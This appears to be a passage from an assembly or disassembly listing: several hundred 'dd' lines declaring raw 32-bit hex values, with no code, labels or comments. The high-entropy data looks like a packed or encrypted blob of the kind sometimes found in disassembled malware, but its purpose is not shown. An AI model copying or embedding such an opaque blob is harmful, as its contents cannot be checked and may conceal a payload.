		dd 523C208h, 0FA06E7C1h, 9BDC2499h, 39662537h, 0C1683E01h
		dd 6A1260Ah, 6F4333A9h,	40053D2Ch, 65E92286h, 5B5B2608h
		dd 5CEEEB4h, 58A845B1h,	7FCE824Eh, 534759FCh, 0D7AB1895h
		dd 0EB02F9A5h, 71F7443Ah, 8F4569E1h, 0E69CD08h,	0FA4BE788h
		dd 0FC7A1655h, 601D98D1h, 0F1800830h, 502768C6h, 8FB6710Bh
		dd 498FE25h, 0E373CE80h, 0E937F60Bh, 904B5861h,	5ED62567h
		dd 0E9C29ED9h, 0A0B9AA11h, 3149601Ch, 2401D77Fh, 60754A46h
		dd 2540883Bh, 0B4D905Ch, 3E9E49B7h, 0F8839F40h,	0D1036091h
		dd 0D9236D0Ch, 252D78D7h, 4B824210h, 0EE64D9B3h, 27F1FB5Eh
		dd 0FCE006ADh, 7E62DEB3h, 92AAE98h, 88460E60h, 912D0EC0h
		dd 0C99BDD2Ch, 0B4DD6A58h, 97BCBEh, 68DC53C6h, 0BD4C2BDh
		dd 22D67A7Eh, 87104EAEh, 81CBBE56h, 894C8913h, 0A257C2C7h
		dd 0B46F950h, 550B3E0Ch, 6DB46802h, 5D5D5390h, 525C0680h
		dd 0D5952E3Ah, 0AB070781h, 0D9E06A38h, 31B2A05Dh, 3D482E18h
		dd 13A9101Ah, 11E35B54h, 8525B6D0h, 654F030h, 2D655D3Fh
		dd 2D3481BBh, 5C311FDBh, 1037F86Bh, 810087D1h, 0B13422EEh
		dd 0F57D899Dh, 0C91C0F2Dh, 0F97E868Fh, 0A8939EFCh, 0A9BDAAC0h
		dd 1B201327h, 1CBB0281h, 48FD619Fh, 92F717Ah, 26E90545h
		dd 0D9D5D3E2h, 4663091Dh, 57602B74h, 6A7143h, 51FDE381h
		dd 0C5E92B41h, 7A892A4Ah, 13F80A61h, 0B47A4888h, 0B8029226h
		dd 96F14D51h, 52596600h, 0D514B662h, 2BE80D2Bh,	352EE5F5h
		dd 15EAA86Fh, 878685h, 72CFBEDh, 0E9B8686Eh, 0A014F77h
		dd 0CD215E56h, 92CB859h, 7C504008h, 0BB530024h,	4316058Ch
		dd 1D01D15Bh, 79D3F4ECh, 0C2FDF97Eh, 0F134A068h, 9047882Ah
		dd 45D3983Ah, 0B7DE310Ah, 0EA0744F8h, 7C5A69C8h, 15E9D7A1h
		dd 293ED528h, 2F45926h,	3BBA1DE7h, 0E2A540FFh, 0EFD3C9B8h
		dd 9DA4CA56h, 0B83EC62Fh, 0DE683A5Ch, 0D8ABB2DFh, 4FEDE9B4h
		dd 89FA9C6Eh, 13D7DD58h, 1DAC76FBh, 75C2ED9h, 4D2F733h
		dd 0C1778F98h, 0B3BDAF6Dh, 535D004h, 6E1C8022h,	1D1D1562h
		dd 4CB12BE9h, 0F760C280h, 0B8B9404Fh, 1632B304h, 20FF405Ch
		dd 1DBE0DBAh, 0D1B5727Ah, 0E908056Fh, 5EDDEC87h, 7BED6DABh
		dd 414BF398h, 4AE3B83h,	0D0CF521Eh, 44AC685Fh, 0AA6A263Dh
		dd 7EBD8484h, 0B4B962CFh, 13BE5904h, 9E00AAA1h,	4FFD497Eh
		dd 48D001F7h, 1FB0F605h, 1C43EC5h, 0A81E10ABh, 301A4407h
		dd 99E3B74Eh, 0F32F00F5h, 179F62A3h, 0F3D9014Fh, 5FF4A82h
		dd 0BA79CFB8h, 2D1CAEE3h, 0CD77250Dh, 9CF727A2h, 8C68140Bh
		dd 0E3D7FF02h, 0F7503FC5h, 75F75513h, 23811A0Bh, 0B9E4D0D4h
		dd 0E134DF6Bh, 0A37A4E9Bh, 0CB4F74BAh, 0E552D7A0h, 295F63Bh
		dd 23E95759h, 7F665A60h, 405C9F2Ch, 90875566h, 34239D53h
		dd 0AFF55AD0h, 3F304F2Dh, 1F620437h, 0EB1BE931h, 85C85D4Bh
		dd 95344822h, 4D589BEh,	5DE5EFBEh, 0EFA4D42Ah, 13C6CE1h
		dd 524F2DA0h, 0B8452124h, 0B9019223h, 6A570C4h,	0C1338C7Fh
		dd 0C634C3EAh, 2DAE884Bh, 35AA3BB1h, 0F068EB63h, 5AD85801h
		dd 0A22F8109h, 0D38F4F06h, 975D4076h, 0E3D000BCh, 0CBFED3F6h
		dd 0B2520166h, 54EB80BBh, 0C3ABEF28h, 7C62E9A9h, 705A30D0h
		dd 9FCC2174h, 1390E378h, 1C5E0883h, 6414EDF2h, 0EF92B389h
		dd 31BA2C53h, 7C6AE972h, 0E0F64E9Ch, 61607817h,	4324FDAh
		dd 18990080h, 0E86D4A1Ch, 0A49E51F0h, 1E02BE63h, 5C5B75C9h
		dd 0C1C326A6h, 3306A968h, 0AB015B37h, 9A27D0Eh,	0EC36FDE9h
		dd 0A606E92Ch, 0BAE8131Fh, 98EEE084h, 1D2F6897h, 5EE7183Ch
		dd 33912EE9h, 0D5688505h, 3D2DBF18h, 120FE86Ah,	0FD8972A5h
		dd 282ED62Dh, 42EF420Ah, 0B6B45001h, 80F7F06Bh,	30D32EE7h
		dd 2FE9B9C4h, 9BD8764h,	47C21627h, 0CBFC2E75h, 0BB195D64h
		dd 0BE867AD7h, 0E67EBDEAh, 0F885C1DAh, 285AEF87h, 2C3BE1D0h
		dd 32B82B2Eh, 65DE5CA1h, 0C6A83BC8h, 6D8A1CA4h,	0CAEA077h
		dd 916AE072h, 130565C6h, 0BEFF80Eh, 5DBE585Eh, 0C032FABh
		dd 45F22812h, 9CF587E0h, 29081405h, 9CEEC531h, 6D550C6Ah
		dd 61046FBEh, 0A81260B1h, 68DF81B9h, 313E21F8h,	2E7930C1h
		dd 0B082668Dh, 4276C90h, 3F1F807Fh, 0B50AF85Ah,	7A929A48h
		dd 200B649Ah, 78477E7Dh
		dd 54AC0954h, 8E0045BCh, 15FEB2A6h, 0A3B08973h,	5BF8585Ah
		dd 0D7B7BBE4h, 0D9755289h, 0C17AEB6Fh, 9100C54Eh, 31D2EB8h
		dd 0E740B539h, 3F488368h, 4122D347h, 0DC096AE6h, 7C5DDA24h
		dd 0B405D8B8h, 7C873800h, 615FFB2Dh, 3C8F40Ch, 0E964D345h
		dd 0AB845330h, 28F1AAB8h, 804C5496h, 0D488DA3Fh, 13BDD3D4h
		dd 0C4325F86h, 97A16C5Ah, 0A442DAF9h, 0E7CCDD16h, 978E23E8h
		dd 50AD1BE0h, 7829332Eh, 2CB89412h, 0CD875982h,	6541F780h
		dd 81021B0Eh, 7E6983CFh, 9428DE53h, 0FB04F402h,	828C5CC4h
		dd 0B50042B7h, 3DE5806Dh, 789353EDh, 2392D990h,	0D3F93003h
		dd 0BC4FB5E9h, 12D99E49h, 9922EAF0h, 0B15BD55Bh, 0E141F4A0h
		dd 0C340DCD4h, 0E7C6800Ah, 0C0B5EE99h, 7D9D5AF3h, 305F1912h
		dd 91DD5D54h, 8431E542h, 3AECAE96h, 5961AC8Ch, 1DC6F89Dh
		dd 7827F0C2h, 122DAC48h, 424A0F82h, 558D075Dh, 794F34B2h
		dd 0F4A7886Ah, 1037422Ch, 64B81AF5h, 0C0155C4h,	16A76058h
		dd 0FB14AE73h, 2D5E1521h, 0ECCFA52Eh, 0E8B7BA25h, 280B1C3Eh
		dd 96B53ABEh, 4F2D1CA7h, 0AD760753h, 4C52599h, 21EB50C5h
		dd 0C8F80170h, 949C5818h, 0EE54538Bh, 982A606h,	48EA6852h
		dd 0BCD63225h, 0EF291DA5h, 0F4FA69C9h, 0B6E95B8Eh, 0BA108171h
		dd 2F1D5808h, 5BF88EA5h, 0BD48449Dh, 1467547Bh,	596FDCFBh
		dd 0D0F911FFh, 1517C93h, 4A6AFB99h, 79C6490Fh, 1DA20CAh
		dd 94A31329h, 2F5AD189h, 3E142D0h, 0ED964F7h, 963CE875h
		dd 0AA0624EAh, 55247CEDh, 78441FC8h, 3F78EE4Bh,	553124E9h
		dd 0AB7CA563h, 15A7162h, 78464D68h, 782DC93Dh, 0B551012Fh
		dd 59EB2807h, 10476066h, 6F949C4Ah, 0FBD156FFh,	280E364h
		dd 0F07870Ch, 0E9CB89DFh, 4957C7C9h, 0C3A55851h, 9A4FD903h
		dd 0B00B0987h, 7B8946C5h, 51601966h, 358BD32h, 684A004Fh
		dd 5AB04D75h, 7002AF9Ch, 0FD0B1339h, 79161DE8h,	709A3C2Dh
		dd 0C3525C83h, 9C147D3Ah, 709BA6Dh, 11CC93E9h, 647AF900h
		dd 92E18131h, 49FD3B48h, 7E09C902h, 0D383723Bh,	27C0BB53h
		dd 36A03957h, 0B52F0504h, 6135E12h, 7071A843h, 3521340Ch
		dd 9E9460Ch, 200D2CDBh,	8A7C857Dh, 0D94A7DB8h, 5DC1F052h
		dd 0ED8094C2h, 0B8BE8497h, 9D7CE7BCh, 0F2286A59h, 9FFBC420h
		dd 1778F04h, 0EFDB82BEh, 7C10F87Bh, 70384E25h, 95902072h
		dd 93A2504Ah, 4BE3301Fh, 0C9CE58CDh, 0A29878ACh, 231320Dh
		dd 28B54C24h, 0FF65AA11h, 68507BD0h, 30185FC3h,	8A7CFD5Bh
		dd 65B65D71h, 6CE66428h, 3A20A29Ah, 4C93A03Eh, 21D33163h
		dd 482017E4h, 0D59D0187h, 0B70E8A0Ch, 597DEEFAh, 0BE98D2E6h
		dd 4AE9CF0Bh, 0D5242535h, 0C8C5FE83h, 4B3D1016h, 2699FE56h
		dd 54DB98FFh, 9F0D7961h, 4402DE74h, 433DE9C8h, 75F5A2F2h
		dd 51410674h, 493A2168h, 915E3AD3h, 97A6164Bh, 0C2402756h
		dd 4C9B8AE2h, 0C0B52E55h, 0D0A2E903h, 81D47EBDh, 0EE167327h
		dd 0B998A431h, 3538D122h, 280C0315h, 834CEA81h,	0CEADEDD4h
		dd 0A82B0841h, 0DEE9E05Ch, 2856B2A0h, 129BDAEEh, 0EC01042Fh
		dd 0F959263Eh, 99F13534h, 32F413C3h, 3D68BA22h,	0E8B58E0Ch
		dd 0D6A3C88Bh, 3951F86Ch, 56362FB7h, 0B193171Ch, 0D0AC3B6Eh
		dd 7E600BF8h, 0D2FDBB0Ah, 4DD94811h, 67192D01h,	4DF2923h
		dd 5F5B0809h, 2CFF9522h, 986102EAh, 0D7DB53F0h,	3FF956E9h
		dd 0F27753EDh, 954A702Ah, 0AC6797DFh, 0E4A088E3h, 7BD75F12h
		dd 0EB807FA2h, 6939B22Ah, 0CFFD4786h, 8980131h,	1948544Fh
		dd 1F5560Bh, 0F0D86FDh,	5AEB046Fh, 0F0439A30h, 0EE1729D8h
		dd 6859F2E9h, 0F3003C74h, 622503A5h, 83554538h,	6C4560D7h
		dd 689EEF2h, 7D530102h,	0DDC63275h, 0E7684681h,	6563885Ch
		dd 0F1DC2F7Fh, 9B070484h, 0E04D38C1h, 0A654B910h, 0BD553B01h
		dd 530D4FD9h, 0CFE1F935h, 0F108287Bh, 265E72BFh, 0B852958h
		dd 6655BEB5h, 0ABD04D5h, 804A3C27h, 8E0944D2h, 0E7E97009h
		dd 4E1A7523h, 0C057A57Fh, 7E0B554h, 6C103440h, 8530E1B3h
		dd 4C468EEFh, 0B2B11708h, 2A257EB9h, 0F5E041D7h, 0C373CE30h
		dd 395299DFh, 65095AFEh, 0A2FD30DBh, 0DD1222A7h, 8B204494h
		dd 8AB33807h, 0EC7E3D58h, 9172B166h, 0B2520302h, 6BE90Ah
		dd 78055F33h, 2D79D815h, 38B74809h, 6800163h, 49EA511Fh
		dd 841EAF3h, 88965758h,	0D09534BEh, 9E750335h, 0BAFC475Ah
		dd 7F5A3C10h, 10537A32h, 0EFF298h, 32A114F9h, 68DCE681h
		dd 7A95AC78h, 5DA40212h, 0F38964CEh, 59B7761h, 0BFC784AAh
		dd 28179BE8h, 507AA657h, 460D5634h, 4B010268h, 4EE90800h
		dd 0C3ABF87h, 0B54EFC09h, 823BF6B7h, 32F2080Ch,	6F3F8D41h
		dd 5FF84030h, 0BA2E18D9h, 0CA310BFCh, 0B4BE977h, 0B92DB3CEh
		dd 0F9BFC4D2h, 3AFC0938h, 0B55D1CDDh, 4E443C74h, 9128190h
		dd 7D429580h, 23013114h, 0C11E4910h, 0C74102E1h, 79F54088h
		dd 2EA4A02Eh, 51D8EF53h, 0D0256A76h, 39E5B3AFh,	0B8A75F87h
		dd 0B9BBB05Bh, 751E4282h, 0D9CE2510h, 0FBB16C3h, 97CB13Fh
		dd 8192AE73h, 7C382866h, 273105CFh, 8A940234h, 0A586BCABh
		dd 1710A4EBh, 5D8A4442h, 15FCAD9Fh, 62BC7AC4h, 116654Bh
		dd 8F123839h, 9014202Bh, 1FCD5418h, 0ABDA888h, 0F1890BC1h
		dd 8DE901ADh, 2B64BE05h, 8EA4FC7h, 59118904h, 0C759ACBAh
		dd 0F1617781h, 13207145h, 7AC1FA4Fh, 0C5085C67h, 30A0B870h
		dd 591A29B1h, 6DB0D231h, 1A230720h, 0B37C89E9h,	65DFA38Bh
		dd 31680447h, 0A44FA941h, 0C4B7E2BEh, 37B35F5Eh, 15170E4Dh
		dd 11A1CC4Bh, 0A01127Eh, 28E2F381h, 0D02E3D54h,	479F501Eh
		dd 5B4C974Ch, 0E828A2C1h, 0C1FE612Bh, 0D9D7FC2h, 0B7A327ECh
		dd 93C2B4FBh, 10570B66h, 0D66DE27Fh, 0F5BADD34h, 70162F79h
		dd 897761EFh, 0F08C6F9Bh, 4E10B010h, 0EB0D8522h, 5B7CA3E3h
		dd 1C02530Eh, 89F8DE36h, 0CA5C6001h, 2781FE88h,	574BCAFBh
		dd 5304D967h, 0F9D7A968h, 0D721D452h, 3FE16898h, 7AEC8B5h
		dd 0DE8BAAE5h, 46AE011Fh, 6E597ADBh, 5C40B364h,	0B4B85055h
		dd 0DA1A4C38h, 14409C27h, 0BB176653h, 0D1AE61B2h, 49A3DEh
		dd 7034C8FEh, 5DC358D4h, 4DD18527h, 7FCF96BCh, 80AC0420h
		dd 28CC00EAh, 0E2885AD4h, 7E6C058h, 6E15F2F8h, 73D4C2E9h
		dd 0E8C7E8FBh, 0BAE7283Fh, 62DFFEFh, 0BF6D5179h, 592C3974h
		dd 4064012Dh, 9306FB0h,	45C1FD9Ch, 4E080B26h, 1BFACE01h
		dd 3F4424C4h, 366CBA00h, 813B53B8h, 1D27FECAh, 8085F66Eh
		dd 0D9AA489Eh, 5A5FD321h, 78337C07h, 0A990D7BBh, 1B5E97E9h
		dd 5EA22F25h, 0AE2D1694h, 84B8E100h, 304EED0Bh,	988115C3h
		dd 5B8F5CF4h, 1A9132Ah,	26729708h, 4C406A3Dh, 384E4CEFh
		dd 0FD2132CCh, 0BE00ECE2h, 79F02EACh, 20D8B02Bh, 315E6E51h
		dd 974EC181h, 8D44A82Fh, 0C97F93FEh, 3186015Ah,	0CB298Ch
		dd 6A1128C1h, 4EF10134h, 0E9BB2850h, 3092E530h,	0E1494568h
		dd 0D2B5A37Fh, 7F6E4A00h, 4EE9269Ah, 0F08585EEh, 712D6842h
		dd 0C217DE3Bh, 14D7887Ah, 47FA20EFh, 96BD2B90h,	1298820Bh
		dd 2AF05539h, 0C6E9F980h, 0BD8B00B5h, 7AC35BA3h, 3298252Dh
		dd 0DF251EDBh, 524951A2h, 3462D856h, 0D7CB095Ah, 896F56C9h
		dd 0C5DD212Ah, 0A09796EBh, 0D609B9BCh, 0C077237Dh, 0BFD33386h
		dd 0FD72C8D4h, 331AA501h, 0DC822FB3h, 90F70B7Ah, 260380FAh
		dd 409816E1h, 2175AC67h
		dd 4B5785A2h, 1B0C058Fh, 0BB60A422h, 8045CA1h, 20BDA9C2h
		dd 666918E3h, 3A80465Fh, 4AB3B76Bh, 0EB3384CBh,	5E0658D8h
		dd 1524824Dh, 3A05EF48h, 1F965C14h, 504C20EAh, 9AD6E053h
		dd 0AB70072h, 5B66F828h, 0C001DF24h, 0D0F603E0h, 0C3F4852Ch
		dd 945A4C58h, 0B9094020h, 2446B55h, 7F59C8D3h, 6656ED31h
		dd 9E6802AFh, 54608729h, 0DF95B59h, 0C0877C21h,	2FDB2C74h
		dd 1C507F53h, 80737543h, 56C53558h, 96982B0Ah, 0B7C39044h
		dd 0CDF6075Ah, 1241874Fh, 301F3B93h, 0D73720ECh, 0F2A4CC2Ch
		dd 6B887F16h, 84063B01h, 3F214453h, 0C35EAD2Ah,	0B7BC21E9h
		dd 13E6DF79h, 6D164D4Fh, 0C951CABBh, 9F595556h,	37A5E961h
		dd 0F95ABC73h, 10E404E7h, 99E234ECh, 340E2D8Ah,	7D64AFA0h
		dd 2F64F50Eh, 35DD664Fh, 0E26C317h, 5DFA833Dh, 88E6C5D5h
		dd 0C62880F9h, 3D6D6A3Ch, 1777934Ch, 0D6C84D4Bh, 4A680552h
		dd 0B47EB83Dh, 51A8C401h, 0EC3B5D88h, 2E084118h, 2463F908h
		dd 5E1A0971h, 0AE95185Fh, 0E9CA483h, 28DD6CAAh,	50E8C9C0h
		dd 0D2A07F5Fh, 5AB8A548h, 54B5E8BFh, 5FBAB504h,	40664DFh
		dd 6A3EBCE2h, 0F20B1F61h, 256EFC57h, 6390A2FFh,	4C937A62h
		dd 48B00B93h, 0A1EE1135h, 442D1E00h, 31B417B5h,	0BF584FC1h
		dd 887A1029h, 397F835h,	0B9525F9Bh, 9C2F5D7Bh, 5F925A89h
		dd 7AEE6827h, 0DC9A20DCh, 8ECF8102h, 5726041Ah,	4E32E868h
		dd 0C7EE2260h, 3FD501E0h, 814EE969h, 6B38BFA9h,	0C660D9A1h
		dd 499E6015h, 8360BEF3h, 30ECED50h, 321C7004h, 8287CB01h
		dd 102DE130h, 2C436037h, 7B9B0669h, 0CD0FE917h,	0C2B89D30h
		dd 6254001Dh, 0C8F6852h, 0E97467F9h, 0C36E229Dh, 486C414Ch
		dd 0B7EFF46Fh, 0D1BD8E70h, 5BFE4283h, 2F601DF6h, 9D28A45Dh
		dd 0F28BC6E9h, 3ECB67D5h, 48E5F65Eh, 70D201F9h,	49E91BF4h
		dd 0F9BF7181h, 40182F35h, 0F511C5F6h, 0FD89D30Bh, 5E398B5Fh
		dd 71504BB6h, 8CAA384Eh, 3F1B6742h, 98D40C70h, 0FC283C20h
		dd 4E94B8DEh, 254E403Eh, 6855C117h, 40580C02h, 0D85DE977h
		dd 0AABF0F80h, 116BE3Dh, 252C7F72h, 0BBA57FBBh,	5ED7E9CCh
		dd 1C6E3123h, 1F362E4Ah, 3B842098h, 0F555E8CBh,	0D35F299Ch
		dd 0B6529E80h, 50660220h, 0C62833B0h, 0F0A2C6E3h, 2C25BC41h
		dd 0CA311613h, 7DF66A4Bh, 35E47A66h, 0D5295625h, 0B24C6C65h
		dd 6D152CBEh, 0CE810530h, 1660C26Bh, 0F449445Dh, 9365247Ch
		dd 37D42CEDh, 8184CBA4h, 3A5FF198h, 4A342ABBh, 0A0502FE8h
		dd 1CE4961Eh, 0F91844B9h, 2808C31Fh, 3A0302E9h,	0E0745E44h
		dd 36F80106h, 14B3045Eh, 68665902h, 137276DFh, 29586FEEh
		dd 0F620D83Bh, 0E20C814Ch, 88AAA781h, 0AAC745C5h, 76056A09h
		dd 7B5E5A51h, 1C6F0961h, 828F6930h, 0B1994057h,	43DC0130h
		dd 0F5068C35h, 0D0F46EE2h, 6F8481EEh, 1C8786C1h, 0A914647Eh
		dd 0FCBDD7BEh, 0A79A39A5h, 0F33CD5C8h, 4AF2624Dh, 245F64A0h
		dd 9F7E23h, 57910CEh, 0DE5FF708h, 0C519D0B9h, 6B5FAA7Dh
		dd 90EF7688h, 0F7F650A9h, 0DFF7C93Eh, 0C01EAE55h, 7165889Fh
		dd 759D21h, 0A00C185Dh,	0BCE9831h, 1FD419FEh, 4F1CFADCh
		dd 570D8064h, 0D8A868B2h, 152A16AEh, 0F119B421h, 5456EE05h
		dd 7376CA89h, 58974E3Eh, 0ADC7B6FDh, 0A26E5881h, 16FB4BACh
		dd 8492B431h, 0D639C351h, 80B1A9D7h, 0A83CBB63h, 4285B501h
		dd 5D8142C7h, 165F0205h, 5C1D2758h, 7568A110h, 0C435714Fh
		dd 0EA3DD5FEh, 4BE926B0h, 0EB41C59Bh, 0B15F5EE3h, 6B32FDC5h
		dd 77EF06C4h, 933FD37Bh, 2DFA1A4Eh, 0EF735405h,	74E9C2B4h
		dd 0E97CB6E0h, 425D6809h, 0DE700CDh, 285D7E5Fh,	8294F229h
		dd 335A6108h, 0F7038105h, 0B6A551Ah, 1DE652A6h,	533AB401h
		dd 0DFF66CB7h, 0E9D70585h, 0BB22E0D8h, 2992069Eh, 0AF1B42BBh
		dd 6CC02774h, 0A9DE59B7h, 1B89D6C5h, 10132D85h,	0D5074E3h
		dd 0B4EE047Bh, 0EEC889D2h, 2FA914A8h, 0E21C6D69h, 164D6228h
		dd 7B5F79B5h, 38EB200Bh, 0D83CA5B3h, 0E81E6858h, 0CD96272Ch
		dd 0CE0AE92Eh, 63E56885h, 0E30980E3h, 0B9FC3F0Fh, 0A5131801h
		dd 0B13A2945h, 0AB0804A3h, 41D6712Ch, 5C9B2083h, 0FE5FC816h
		dd 0E8899280h, 88355FE9h, 611355DEh, 0FCE87671h, 630B904Ah
		dd 2E481F30h, 4DD21F75h, 9A0C5359h, 832F3DD4h, 29A7FAA0h
		dd 9BE6095h, 0BEE910FEh, 0BDBB056Dh, 23D0287Bh,	0C35A2D05h
		dd 5EF9EB4Eh, 4B581FFAh, 571D2295h, 0B9A1D5CAh,	0B9EB83D3h
		dd 313A86BEh, 0D37E4941h, 7822EFE8h, 17BCFE77h,	5D0D205Ah
		dd 0F679815Eh, 20941A02h, 0D2DABFE9h, 243DF82Dh, 42BEBh
		dd 32932D59h, 3FA028Bh,	0F674F59h, 0C23D1AECh, 8705F029h
		dd 0E6605E07h, 0FA761164h, 68570BD8h, 0BB00C12h, 13003ECFh
		dd 0EDB7BF7Ch, 0A1019DA6h, 0B3D5E98Bh, 97052D34h, 622C85DCh
		dd 298861D2h, 0A82A3875h, 26A0E423h, 27BA4352h,	0C28E57E9h
		dd 78D031A9h, 0DC2CAC3Dh, 3697502Eh, 0FF5A2AC9h, 1408EBCh
		dd 7AE91257h, 73F6BEC5h, 0B3A104D3h, 845E0B8Ch,	5D005552h
		dd 7AD962BAh, 0F55DF07Bh, 0D55B2DA6h, 40681D38h, 0CEF21E4Eh
		dd 0ED2B01D2h, 6E134D0Bh, 805C2B5h, 8BE03DFAh, 55B588B6h
		dd 92CFC3Ch, 9C09BF47h,	0D91F29EAh, 99E9C168h, 0F2800013h
		dd 0D0280241h, 4310685Ah, 0F64A09E6h, 0EF0B1EFAh, 2C50745Ch
		dd 0AC4A8B84h, 4986EE39h, 2C2F18E9h, 0E9147997h, 0C70192FFh
		dd 29B70BF4h, 8BE91EF1h, 5A1A415Ch, 0A16AFD6Ah,	0D5C00AF2h
		dd 9EFEC49h, 341D57C4h,	389EAA8Dh, 29BE0E5Ch, 6872E133h
		dd 0F32C04EDh, 0FC31F0C1h, 38137B70h, 0CEB580FEh, 0FA4B95E4h
		dd 79F80685h, 4E075874h, 988B972Dh, 2FEE44DFh, 0E77E3693h
		dd 95A05ABDh, 0ADF8BF70h, 515DD69Dh, 0B5B605Bh,	893774B7h
		dd 0FB6E60D4h, 52685D09h, 0AB361A29h, 0E5627569h, 3008BC82h
		dd 904552FFh, 48E5B74Ch, 0F8155FA5h, 20FC4C25h,	90B0215Fh
		dd 4F9B0848h, 0ED7EDBE1h, 0CF81C0CCh, 5CAA0E90h, 396EBB68h
		dd 403D0972h, 752CED06h, 187BED07h, 0EEB341E6h,	0BA160372h
		dd 21C811E0h, 8B5FFDD2h, 8365FD32h, 0F9015912h,	4B1A56B7h
		dd 3F08A13Bh, 5C0503F8h, 0C0258D2Bh, 0FE7183A1h, 0CC01113Fh
		dd 58084031h, 45C2C3BCh, 0CC5AFDF6h, 701F8E38h,	59B8EE9Fh
		dd 0E25A4925h, 0FB70E1ABh, 662BE00h, 0B92AD101h, 6A6365A3h
		dd 492CAE3Eh, 8F79B789h, 6107CF68h, 0D7C975D1h,	52CFF4A0h
		dd 280C7469h, 0A17E1F68h, 5F904089h, 772B429Dh,	530230EDh
		dd 5D8592E9h, 1259C4A2h, 1141677Dh, 0F3E909FAh,	5A7DD2E7h
		dd 8A8F129Dh, 52D0D9A6h, 3F80D840h, 0EC364B0Eh,	594E7A3Ch
		dd 12C575F0h, 4CC960h, 0D79C450Ah, 0E9040182h, 1C4F095Dh
		dd 2D2FC2EDh, 9EFD9E0Bh, 0CC681611h, 0DDE4E322h, 0D2204E6Bh
		dd 4275DFAAh, 3D4CEC8Eh, 0CB87F3h, 6B670A18h, 0A330E958h
		dd 0C780822Eh, 9D5EF018h, 7F020551h, 0F6236954h, 0E19013E2h
		dd 5BF12BE9h, 6441C8C1h, 5B03F926h, 87307205h, 0B695AE54h
		dd 0C8EB7784h, 2BF9C52Eh, 0A26A289Dh, 0C444816h, 7E424C18h
		dd 16FE7348h, 0A0CDE906h, 0EB278869h, 39D95459h, 5AB576F6h
		dd 0B2B3B0F3h, 7CD3C1EBh, 9AD83D57h, 62A8C688h,	182FFF79h
		dd 99FB2105h, 982A302Fh, 94ACCE9Fh, 5B5462E6h, 67CCF780h
		dd 0F1BD2F0Fh, 60938AD6h, 0EEEA4CB8h, 6948B1E0h, 2D2720A2h
		dd 145D215Ch, 1D509DDAh
		dd 7115719Fh, 0F529CA8Bh, 69EAE4E8h, 71F93801h,	20B7685Bh
		dd 0D9C2562Ch, 0FD1527h, 0EAD82B79h, 0AA50BFA0h, 98CC2F20h
		dd 0B9683D06h, 0EE2831DBh, 0F2D02FD8h, 7BBD041Eh, 6F63346Bh
		dd 3A57EC35h, 0A2E49735h, 894100FFh, 0E95659CAh, 0A9BA6C30h
		dd 5DC068FAh, 0FF92C765h, 0DDEE0D5Ah, 46C1FEEAh, 90FA2C95h
		dd 8E3502FCh, 83890417h, 2738FADDh, 20606420h, 83266802h
		dd 6A52FF33h, 0B047DD0Ah, 0E20182B4h, 2E7B4240h, 3F2CE17Fh
		dd 60CD4AD8h, 68D3E7C9h, 0F2A96B7Ah, 8EA26FD8h,	5CBDA95Bh
		dd 72D5B1F0h, 291F6806h, 489DA22Dh, 0AF39CF00h,	5A5054Ah
		dd 0E9609802h, 0A1ACA9h, 0C12891BBh, 2FAEBE1Fh,	0C65CD53Ch
		dd 5EF38985h, 0D5494D87h, 0AD607A9Ah, 489F63E5h, 0AAD24BEDh
		dd 88B1F1D9h, 0E724A437h, 0A5997E2Fh, 0D8D34A55h, 5A8EBC88h
		dd 0E2F7F95Dh, 0FB758AE1h, 8512BE53h, 0C520F9F2h, 0C4EE89h
		dd 0A2EB6F95h, 4DEC10A6h, 33ED144Fh, 7A924338h,	1012F833h
		dd 0B001CE86h, 0B5516670h, 49AA3EFDh, 4A7079E0h, 0F327587Ah
		dd 0E188435Ah, 0D1502EF8h, 3D1426CFh, 9EBC11DFh, 0B1512E60h
		dd 68646621h, 0C6A1BCCBh, 0B93AEF4Dh, 3CAFD201h, 0AA25E95Bh
		dd 55C212AFh, 54546E4Ch, 194AD3BFh, 0FF2109A2h,	2429F008h
		dd 30742515h, 96AE0CB4h, 1A26E43Ch, 5F4BD848h, 8681540h
		dd 0D6791F48h, 60572DFEh, 7834E9E4h, 8FE07B70h,	295240B8h
		dd 4FA6D348h, 0AE3ADEF1h, 55A0993Dh, 52B84A92h,	5EE4804Fh
		dd 494F6647h, 1EF064BAh, 0D40B220Ch, 0F82EC956h, 0B877955Fh
		dd 968570Ah, 19E01D97h,	607CAED5h, 51182620h, 0A035AE9h
		dd 429BFE02h, 0E77DB4A2h, 2FE02484h, 2DE2E1E0h,	0E91246EAh
		dd 20AAF3B6h, 0E0B4EA87h, 0ADC3353Eh, 0B332788Ch, 1138AC1Dh
		dd 6391256Dh, 0FE1A4B56h, 0A25EFC9Eh, 2DEED670h, 0DDDE3EEAh
		dd 0DEEFE45Fh, 77295F40h, 0B3E630DAh, 34D8C2F3h, 0D1FC4D5Bh
		dd 6F0B8405h, 29B1ABA9h, 0E5B85545h, 4864E9B0h,	0EF818BB4h
		dd 6E861050h, 0B4EECA20h, 18E8B06h, 0E800EAC6h,	8131695Ch
		dd 5075A0F5h, 6C198A05h, 74E48D8Ah, 543B6624h, 1954520Ch
		dd 774B06E2h, 0A64212E8h, 220EFD02h, 53D6892Ah,	0E5C600A5h
		dd 683B6C62h, 59636E2Ch, 8225DEC0h, 0CE09257Eh,	0A85964FFh
		dd 80942DBBh, 3502E1BBh, 0F74B1540h, 82D156DBh,	0FEEF01D0h
		dd 0CBA27B78h, 0F06A29FFh, 0B8634D09h, 0FE10F664h, 813E5169h
		dd 4BE1327h, 22E4CBF5h,	8C3697CEh, 2F56CDBDh, 68120216h
		dd 508C1A45h, 0EA3126ECh, 5EF013Ch, 217A0E12h, 39EC2B8Eh
		dd 0AFA7E93Fh, 32F2A346h, 0F8958BBAh, 0D62D11BBh, 84AF4B15h
		dd 0D5B0BA92h, 0D8D69F59h, 88055C52h, 3009DDAEh, 9575C6E8h
		dd 87743A7Fh, 27AFDFB5h, 0C9D04105h, 76796711h,	27F1051Ah
		dd 0AE0E2A3Ch, 8EEC6312h, 0D0F54401h, 281FE975h, 1858302Ch
		dd 0A206BA7h, 4ED6F742h, 9453009Fh, 0F001BDDFh,	1CBD5E4Eh
		dd 0EB6D989Ch, 7006A9C6h, 95A11EFh, 72ECA12Ah, 0B9E2A28h
		dd 0A656CB44h, 0ED1FA560h, 946934Fh, 9304F287h,	9D1E1259h
		dd 0AC162210h, 91BB0E66h, 0C9C27598h, 3EB44D01h, 0FA875B5Dh
		dd 0BAB4F7C9h, 9BB91C08h, 0DA0508D7h, 61AF5EE3h, 0E62DD6D0h
		dd 23950E05h, 7B4D029h,	78038D69h, 780F1543h, 4A7045Bh
